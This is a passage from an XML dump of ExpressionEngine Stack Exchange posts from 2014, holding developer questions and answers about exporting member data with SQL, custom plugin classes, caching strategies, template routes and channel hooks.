i mean the second title; listing_image and listing_describtion tags are being repeated.&#xA;Could anyone help here because it doesn't make any sense for me any more..&#xA;Thank you&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="3634" LastEditorUserId="159" LastEditDate="2014-09-29T11:09:30.597" LastActivityDate="2014-09-29T11:12:02.717" Title="Hi all, The matrix ee extension returns only one row" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25938" PostTypeId="1" AcceptedAnswerId="25952" CreationDate="2014-09-29T11:02:08.253" Score="0" ViewCount="144" Body="&lt;p&gt;Does anyone know of an easy way to export the Zoo members data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having a play with ajw_export but I have a feeling it isn't going to quite do what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I need from the export&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name         [standard member data]  &#xA;Email        [standard member data]&#xA;&#xA;Business     [zoo member data - checkbox]   &#xA;Education    [zoo member data - checkbox]    &#xA;Fund         [zoo member data - checkbox]   &#xA;Newsletter   [zoo member data - checkbox]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With ajw.export I've got the following query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_export &#xA;  sql=&quot;SELECT member_id, screen_name, email FROM exp_members&quot; &#xA;  format=&quot;csv&quot; &#xA;  delimter=&quot;:&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is fine, returns the id/name/email address, but the zoo members data isn't stored in the members table.  So I need to get field_id_55, field_id_56, field_id_115 and field_id_118 from channel_data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-09-30T03:11:11.140" Title="Export Zoo Members channel data" Tags="|members|zoo-visitor|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25939" PostTypeId="2" ParentId="25937" CreationDate="2014-09-29T11:12:02.717" Score="2" Body="&lt;p&gt;I think the problem isn't with Matrix but to do with your IDs. Your hrefs are all linking to #myModal, which in itself isn't an issue, however you have 4 divs with an ID of myModal so it is always linking to the first instance. Try adding the row_id to the end of these IDs, both the div ID and button href, I think this should sort you out.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-09-29T11:12:02.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25940" PostTypeId="2" ParentId="25846" CreationDate="2014-09-29T13:25:23.323" Score="0" Body="&lt;p&gt;Friends notification templates have certain limitations, and except for a few very early parsed variables (eg. segments) and embeds, EE tags, which include 3rd-party tags, do not parse in these special templates (EE code in embeds also don't parse). What parses are the Friends variables available in the notification, and described in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-29T13:25:23.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25942" PostTypeId="2" ParentId="25922" CreationDate="2014-09-29T14:10:56.790" Score="0" Body="&lt;p&gt;This is unfortunately not possible. Playa remains a single field, and Importer can either add new data to the field for new entries, or update the field when updating pre-existing entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When updating one field, it's an all-or-nothing update: for example if you had an input field with &quot;foo&quot;, and you provide &quot;bar&quot; in an import to update the field, the field will now contain &quot;bar&quot;, not &quot;foobar&quot;. The same thing happens with a Playa field. You would need to provide the old (&quot;up-to-now&quot;) data along with your new data, and update the field with all of that data. (With the &quot;foobar&quot; example, you would need to provide &quot;foobar&quot;)&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-29T14:10:56.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25943" PostTypeId="2" ParentId="14217" CreationDate="2014-09-29T14:36:29.080" Score="0" Body="&lt;p&gt;If anyone is looking for an answer here still then there is a simple test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along with the post data will be a value for entry_id, this is related to the originating entry id. So if this value is 0 then it is a new entry, if this value is &gt; 0 then it is an update to an existing entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($_REQUEST['entry_id'] === 0) { // new post } else { // existing post }&lt;/p&gt;&#xA;" OwnerUserId="3635" LastActivityDate="2014-09-29T14:36:29.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25944" PostTypeId="2" ParentId="14217" CreationDate="2014-09-29T16:51:06.113" Score="2" Body="&lt;p&gt;I usually check if entry_id = 0 (for new entry)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('entry_id') == 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-09-29T16:51:06.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25946" PostTypeId="1" AcceptedAnswerId="25948" CreationDate="2014-09-29T20:39:59.917" Score="0" ViewCount="50" Body="&lt;p&gt;How can I replace Authorize.net payment method option name from 'Authorize.net AIM' to 'Credit Card'? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see situations where customers during the checkout process are confused with that not common for them name of the payment gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm looking towards name change somewhere in the settings/DB rather than jQuery string replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2015-03-18T22:08:00.040" Title="Express-store and payment method - replace Authorize.net option label name" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25948" PostTypeId="2" ParentId="25946" CreationDate="2014-09-29T21:02:10.927" Score="0" Body="&lt;p&gt;I have found where it must be changed on the DB level: &lt;code&gt;exp_store_payment_methods&lt;/code&gt; and a column named &lt;code&gt;title&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-09-29T21:02:10.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25949" PostTypeId="1" AcceptedAnswerId="25960" CreationDate="2014-09-29T22:19:55.787" Score="0" ViewCount="52" Body="&lt;p&gt;Ive have a site running for a while with two channels each with there own custom field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now find that I need to be able to clone entries from each channel using mx cloner but because each channel has a different field group I cannot assign the new cloned entry to the other channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each channel have 24 fields and approx 100 entries so I don't want to have to create a new shared field group and remake 200 odd entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I there a way to combine the two custom field groups into one group?&lt;/p&gt;&#xA;" OwnerUserId="249" LastActivityDate="2014-09-30T13:47:12.307" Title="combining two sets of custom field groups" Tags="|custom-fields|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25951" PostTypeId="2" ParentId="25934" CreationDate="2014-09-30T01:56:55.330" Score="0" Body="&lt;p&gt;Forms coupon system is very basic and currently is not encoded. There is no security risk, but if you want to hide your deals, I recommend using something like Store instead. We will look at possibly encoding it for future versions. If this is something you need quickly, just send us an email.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-09-30T01:56:55.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25952" PostTypeId="2" ParentId="25938" CreationDate="2014-09-30T03:11:11.140" Score="1" Body="&lt;p&gt;Just looked at the database of one of my sites running Zoo Visitor.  You're going to have to pull and link data from exp_members (to get the member ID), exp_channel_titles (to link the member ID with the author ID), and exp_channel_data (to get the rest of the data you want)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please note that i'm not a database expert!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT m.member_id, m.screen_name, m.email, d.field_id_55, d.field_id_56, d.field_id_115, d.field_id_118&#xA;FROM exp_members m, exp_channel_titles t, exp_channel_data d&#xA;where m.member_id = t.author_id and t.entry_id = d.entry_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-09-30T03:11:11.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25953" PostTypeId="1" AcceptedAnswerId="25955" CreationDate="2014-09-30T04:02:36.077" Score="1" ViewCount="154" Body="&lt;p&gt;I'm trying to create a class in EE, but for some reason it just won't work for me.&#xA;I've even went as far as making it as easy as possible, but I always get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following tag has a syntax error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:my_class_name:testfunction}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please correct the syntax in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simple class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_class_name {&#xA;&#xA;    public $return_data;&#xA;&#xA;    public function __construct(){&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    }&#xA;&#xA;    public static function usage(){&#xA;        ob_start();&#xA;        ?&amp;gt;&#xA;        Coming Soon, this is just filler for now.&#xA;        &amp;lt;?php&#xA;        $buffer = ob_get_contents();&#xA;        ob_end_clean();&#xA;        return $buffer;&#xA;    }&#xA;&#xA;    public function testfunction(){&#xA;        $this-&amp;gt;return_data = ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:my_class_name:testfunction}&#xA;    hey&#xA;    {/exp:my_class_name:testfunction}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3639" LastActivityDate="2014-09-30T09:41:58.413" Title="Custom Plugin Won't Work" Tags="|plugin|custom-classes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25954" PostTypeId="2" ParentId="25933" CreationDate="2014-09-30T06:41:33.567" Score="0" Body="&lt;p&gt;The two add-ons aren't compatible, but you might have more luck using &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo’ Variables&lt;/a&gt;, which gives you the variable &lt;code&gt;{post:year}&lt;/code&gt; to work with, amongst others.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-09-30T06:41:33.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25955" PostTypeId="2" ParentId="25953" CreationDate="2014-09-30T07:03:52.267" Score="3" Body="&lt;p&gt;Your plugin class method needs to &lt;strong&gt;return the (parsed) tagdata&lt;/strong&gt; instead of setting the &lt;code&gt;$this-&amp;gt;return_data&lt;/code&gt; property. The latter is only needed if the class constructor is used for template output. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function testfunction()&#xA;{&#xA;    return ee()-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-09-30T09:41:58.413" LastActivityDate="2014-09-30T09:41:58.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25957" PostTypeId="1" CreationDate="2014-09-30T08:51:04.613" Score="0" ViewCount="209" Body="&lt;p&gt;Good morning everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no question with a direct answer here but looking for what you believe to be the best mix of real time vs caching. A few scenario’s that i would like to have your vision, just to see how different people approach problems from different sides and learn from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLAIN JANE SITE&lt;/strong&gt;:&lt;br /&gt;&#xA;A basic website without login dynamic content items. Beside the homepage there are 4 or 5 separate templates. Editors will make a few changes a week but they do receive about 4000 visitors a day on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BASIC E-COMMERCE&lt;/strong&gt;:&lt;br /&gt;&#xA;A site with about 100 products online separated into a few item categories. Beside the homepage, product overview, product detail page there are about 6 to 8 other templates, not coating the ones needed for cart view and checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The product overview pages don’t show stock information and have no ability for sorting or filtering to decrease server load. In the header the client has an indictor to see if he’s logged in and how many items are in his cart. This information is dynamic for each visitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADVANCED E-COMMERCE&lt;/strong&gt;:&lt;br /&gt;&#xA;Same setup as the basic e-commerce system but with the added complexity of filtering on the product overview page. Filters generate addition urls. This means that 3 main product overview pages can easily create 1500 separate URL’s with combinations of all the filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing ExpressionEngine and the native caching abilities, wanting to use a DRY approach while developing your templates and having the freedom to use add-on like stash and ce_cache. How would you approach these project in terms of template setup,  technology choices and caching?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ll make a post below describing my setup, choices, pro’s and con’s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greets,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastEditorUserId="172" LastEditDate="2014-09-30T09:42:52.983" LastActivityDate="2019-08-12T06:02:00.280" Title="Caching methods discussed : search for the ‘holy grail’…" Tags="|cache|ce-cache|bestpractice|dry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25958" PostTypeId="2" ParentId="25957" CreationDate="2014-09-30T09:16:08.460" Score="0" Body="&lt;p&gt;My own approach varies depending on project and the state of technology. After the introduction of layouts in ExpressionEngine I noticed i really liked using that since it made my template structure clearer and more readable. It also enabled me to work as DRY as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My basic setup always includes structure since that enables me to offer my clients an interface they can easily understand. The core of all my templates always reside in a _structure.group folder. For structure entries I refer to the templates in that group directly. For things like the homepage or other static items that live outside my structure structure I create a homepage.group and from the index.html in that group I embed the correct file stored in the _structure.group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, and that inspired me to write this post, i’ve been feeling myself getting pushed into a corner when using the layouts method and having the need for caching. I like fine grained control, a want a cache to live forever until I tell the system to break it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what i’ll almost always do is to use ce_cache to cache the largest part of the page as possible and include tags referring to the entry_id of all the items included on that page. So for example a blog post page with in the side column a list of other blog entries. What i’ll do is to use ce_cache and tag the main entry with it’s entry_id and also the entry_ids of the items in the side column. I’ll also include a tag like blog_side_column in their. Then when someone makes a change to any blog item i’m able, with ce_cache breaking, to only break those pages where that blog item is used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLAIN JANE SITE&lt;/strong&gt;&lt;br&gt;&#xA;I’ll probably first use my default method of using the layouts method including ce_cache. Problem with that is the fact that I can’t seem to figure out how to cache the layout:set items and can’t wrap the entire template since the {layout=“xxxx”} needs to be the first one on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is a small installation I would be inclined to move the actual template info a separate file (_embed.group/blog.html) and use the ce_cache tag around an embed function in (_structure.group/blog.html) to enable full page caching. But I don’t believe this is a very acceptable way of doing things. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BASIC E-COMMERCE&lt;/strong&gt;&lt;br&gt;&#xA;As using the approach mentioned above would destroy the visitor dynamic information in the header bar I would be inclined to let go of the advantages the layouts method provides. By going back to regular embed’s and snippets I can maintain a reasonably DRY work method while greatly advancing the methods I can use from ce_cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADVANCED E-COMMERCE&lt;/strong&gt;&lt;br&gt;&#xA;Same as above with some additions. Since the product items used on the product overview page will be visible on a lot of pages I will probably try and use ce_cache to cache those bit globally. That way once generated for one page it gets reusable whenever that product is needed again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with all those filter pages is that caching is only effective if the client doesn’t change to much. When the client add’s a new product it should show up as soon as possible. So either it need be rendered real time of the cache for those pages needs to be broken when that happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a few recent projects I used &lt;a href=&quot;http://devot-ee.com/add-ons/reefine&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reefine&lt;/a&gt; to enable the filtering on the site. My client tend to have a requirement that a unique url is available for any filter so they can use that in their marketing efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do confess that this last scenario is the one i’m most intressted in since that’s been causing me the biggest head aches over the last few months, so i’m looking forward on how your approach would be and discussing on why you think this or that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greets,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2014-09-30T09:16:08.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25959" PostTypeId="2" ParentId="6951" CreationDate="2014-09-30T13:08:16.673" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/scheduled-trigger&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Scheduled trigger&lt;/strong&gt; &lt;em&gt;(free)&lt;/em&gt;&lt;/a&gt; add-on allows you to trigger a hook when an entry rolls over the expiration_date (expires) or when it rolls into the entry_date (becomes active).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can trigger a email via another add-on like &lt;strong&gt;mx_notify&lt;/strong&gt; or &lt;strong&gt;postmaster&lt;/strong&gt;.&lt;br&gt;&#xA;Also the scheduled-trigger add-on is smart enough to update the schedule when you update the expiration or entry_date.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-09-30T13:08:16.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25960" PostTypeId="2" ParentId="25949" CreationDate="2014-09-30T13:47:12.307" Score="1" Body="&lt;p&gt;Yes, it is possible.&#xA;You just need to change field groups association in table exp_channel_fields. Make you db backup then run next code (u can even use SQL Manager from CP)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_fields SET group_id = X WHERE group_id = Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that you just need to update field group for second channel. You can do this manually or run next query &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channels SET field_group = X WHERE field_group = Y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And possible you will need to reset publish page layout.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-09-30T13:47:12.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25961" PostTypeId="1" CreationDate="2014-09-30T15:24:41.230" Score="1" ViewCount="65" Body="&lt;p&gt;Can I move files that have been uploaded to the upload directory be moved on my server, or will they be lost in the upload directory and therefore not show on the site?&lt;/p&gt;&#xA;" OwnerUserId="3641" LastActivityDate="2015-01-30T16:18:15.560" Title="once a file has been uploaded to the upload directory in expresssionengine can it be moved on my server?" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25962" PostTypeId="1" AcceptedAnswerId="26700" CreationDate="2014-09-30T15:25:45.887" Score="0" ViewCount="391" Body="&lt;p&gt;I have three templates, and three routes in my template group as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;courses&#xA;-- index (landing page)&#xA;-- filtered (filtered listing)&#xA;-- details (course details)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And I want to have the following relevant url structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/courses/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/courses/type/undergraduate/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/courses/type/undergraduate/course_name/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I have set the following routes:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;template group/template == route&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;courses/index == nothing in here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;courses/filtered == /courses/{filter:alpha_dash}/{filter2:alpha_dash}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;courses/details == /courses/{filter:alpha_dash}/{filter2:alpha_dash}/art/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;both 'filtered' and 'details' have segments required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/courses&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives me courses landing page no probs, I would expect that, reading from the index template as default behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/courses/type/undergraduate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives me back the filtered course type filtered to 'type', 'undergraduate' which is read from the filtered template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/courses/type/undergraduate/art&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gives me back course details for art, reading from the details template, as I expect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem comes when I put this into my route, adding the course name as the trigger to dynamically shift the the details template as I would expect (as opposed to the hard-coded value 'art'):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;/courses/{filter:alpha_dash}/{filter2:alpha_dash}/{coursename:alpha_dash}&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I refresh this: &lt;strong&gt;/courses/type/undergraduate/art&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error, plus my template reverts back the initial landing template of the index in the group. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Severity: Warning&#xA;Message: preg_match_all(): Compilation failed: group name must start with a non-digit at offset 166&#xA;Filename: libraries/Template_router.php&#xA;Line Number: 56&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So am I missing the point of routes, or is there some bug in the machine here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version 2.9.0 is the flavour I am playing with. &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2014-10-01T07:23:37.537" LastActivityDate="2014-11-12T12:29:52.823" Title="Template Routes Error" Tags="|routing|template-routes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25963" PostTypeId="1" CreationDate="2014-09-30T16:04:59.307" Score="1" ViewCount="40" Body="&lt;p&gt;If I have channel tags in my template that look like this, is there an available hook to always run before the /exp:channel:entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have something put at the bottom of every entry displayed without putting in a plugin tag into the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this at all possible?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;3&quot; disable=&quot;categories|member_data|category_fields|pagination&quot;}&#xA;&#xA;//do plugin stuff here without loading the tag.&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3639" LastActivityDate="2014-09-30T16:41:25.747" Title="Hook into the channel entry display" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25964" PostTypeId="2" ParentId="25963" CreationDate="2014-09-30T16:41:25.747" Score="2" Body="&lt;p&gt;Yes, you can. Check &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extension_hooks/module/channel/index.html#channel-entries-tagdata&quot; rel=&quot;nofollow noreferrer&quot;&gt;Channel Module Extension Hooks&lt;/a&gt;&#xA;You possible need&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;channel_entries_tagdata&lt;/strong&gt;($tagdata, $row, $this)&lt;/p&gt;&#xA;&lt;p&gt;Modify the tagdata for the channel entries before anything else is parsed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="932" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-09-30T16:41:25.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25966" PostTypeId="1" AcceptedAnswerId="25972" CreationDate="2014-09-30T21:54:20.060" Score="0" ViewCount="157" Body="&lt;p&gt;I asked &lt;a href=&quot;http://www.solspace.com/forums/viewthread/13841/&quot; rel=&quot;nofollow&quot;&gt;this question&lt;/a&gt; some time back and it worked, however I don't see the backspace parameter listed in the docs now, nor do I see in the change log that it was removed. I tried it anyway and it doesn't work. Is there another way to remove the last comma from a list of tags? Thanks&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="932" LastEditDate="2014-10-01T05:06:35.297" LastActivityDate="2014-10-01T05:06:35.297" Title="Alternative to Backspace Parameter" Tags="|solspace-tag|parameters|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25968" PostTypeId="2" ParentId="25687" CreationDate="2014-09-30T22:27:45.663" Score="0" Body="&lt;p&gt;I'm not sure this is the issue, but I do know that the session library is no longer called in cp_jd_end and messed up a few extensions I built when I upgraded to 2.9.0. Check to make sure there are no session references in any add-ons using the JS hook. If there are, load the session library by calling &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('session');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2014-09-30T22:27:45.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25971" PostTypeId="1" CreationDate="2014-10-01T02:27:17.760" Score="0" ViewCount="71" Body="&lt;p&gt;I have a site with a large megamenu which is made up of the following types of code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting category lists&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;product_categories&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    save=&quot;yes&quot;&#xA;    scope=&quot;site&quot;&#xA;    refresh=&quot;1440&quot;&#xA;    replace=&quot;no&quot;&#xA;}&#xA;    {exp:gwcode_categories&#xA;        group_id=&quot;1|3|4|5|6&quot;&#xA;        excl_cat_id=&quot;35|36|51|56|60|23|27|46|47|63|40|42|44|45|53|59|62|66|69&quot;&#xA;        depth=&quot;1|2&quot;&#xA;        parse=&quot;inward&quot;&#xA;        style=&quot;linear&quot;&#xA;    }&#xA;        {stash:cat_id}{cat_id}{/stash:cat_id}&#xA;        {stash:cat_depth}{depth}{/stash:cat_depth}&#xA;        {stash:parent_id}{parent_id}{/stash:parent_id}&#xA;        {stash:group_id}{cat_group_id}{/stash:group_id}&#xA;        {stash:cat_name}{cat_name}{/stash:cat_name}&#xA;        {stash:cat_url_title}{cat_url_title}{/stash:cat_url_title}&#xA;        {stash:complete_path}{complete_path}{/stash:complete_path}&#xA;        {stash:cat_image}{cat_image}{/stash:cat_image}&#xA;    {/exp:gwcode_categories}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting the lists&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(entry_id) num_cat_entries&#xA;    FROM&#xA;    (&#xA;            SELECT  entry_id&#xA;            FROM    exp_category_posts&#xA;            WHERE   cat_id IN (31, 73)&#xA;            GROUP   BY entry_id&#xA;            HAVING  COUNT(DISTINCT cat_id ) = 2&#xA;    ) s&quot;&#xA;}&#xA;&amp;lt;div class=&quot;col_4&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;{stash:_cat_hd}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul class=&quot;nb&quot;&amp;gt;&#xA;    {if '{stash:_group_id}'!=''}&#xA;        {exp:stash:get_list&#xA;            name=&quot;product_categories&quot;&#xA;            match=&quot;#^{stash:_group_id}#&quot;&#xA;            against=&quot;group_id&quot;&#xA;        }&#xA;        {if '{stash:_group_id}'!='5' OR ('{stash:_group_id}'=='5' AND num_cat_entries &amp;gt; 0)}&amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{path={stash:_parent_url}/{cat_url_title}}/&quot; data-cat-id=&quot;cat_{cat_id}&quot; data-cat-img=&quot;{if cat_image}{exp:ce_img:single src='{cat_image}' width='240' crop='yes' bg_color='#444' url_only='yes'}{if:else}/assets/img/nav_product_generic.png{/if}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;        {/exp:stash:get_list}&#xA;    {/if}&#xA;    {if '{stash:_parent_id}'!=''}&#xA;        {exp:stash:get_list&#xA;            name=&quot;product_categories&quot;&#xA;            match=&quot;#^{stash:_parent_id}#&quot;&#xA;            against=&quot;parent_id&quot;&#xA;        }&#xA;        